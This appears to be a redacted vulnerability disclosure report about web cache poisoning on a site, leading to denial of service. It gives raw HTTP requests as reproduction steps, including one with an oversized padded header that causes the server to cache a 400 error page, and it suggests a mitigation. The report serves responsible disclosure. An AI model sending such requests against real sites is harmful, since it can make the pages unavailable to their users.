Web Cache Poisoning on █████

**Description:** The web application `https://████████` uses a web cache to more efficiently serve its pages to the users. An attacker can send a malformed request which the server caches the response of and sends it to the users. ## Impact An attacker can alter the web cache, making the web application unavailable for as long as they wish. ## System Host(s) █████████ ## Affected Product(s) and Version(s) ## CVE Numbers ## Steps to Reproduce * Send the following request to the server: ```http GET /yeettest?yeettest=1 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Host: www.█████ Connection: Keep-alive yeetheadertest1:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        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``` * The server will return a 400 status code response and cache the response. * Now, send the request below. Normally, it should return a 404 response. ```http GET /yeettest?yeettest=1 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Host: www.████████ Connection: Keep-alive ``` * However it returns the same response as the previous one, which means that the response was cached. **Note:** I have done these tests on the path `/yeettest?yeettest=1` in order to not disrupt the experience of the website's users. However, an attacker would use this bug on the main page. ## Suggested Mitigation/Remediation Actions Do not cache responses with error-related status codes.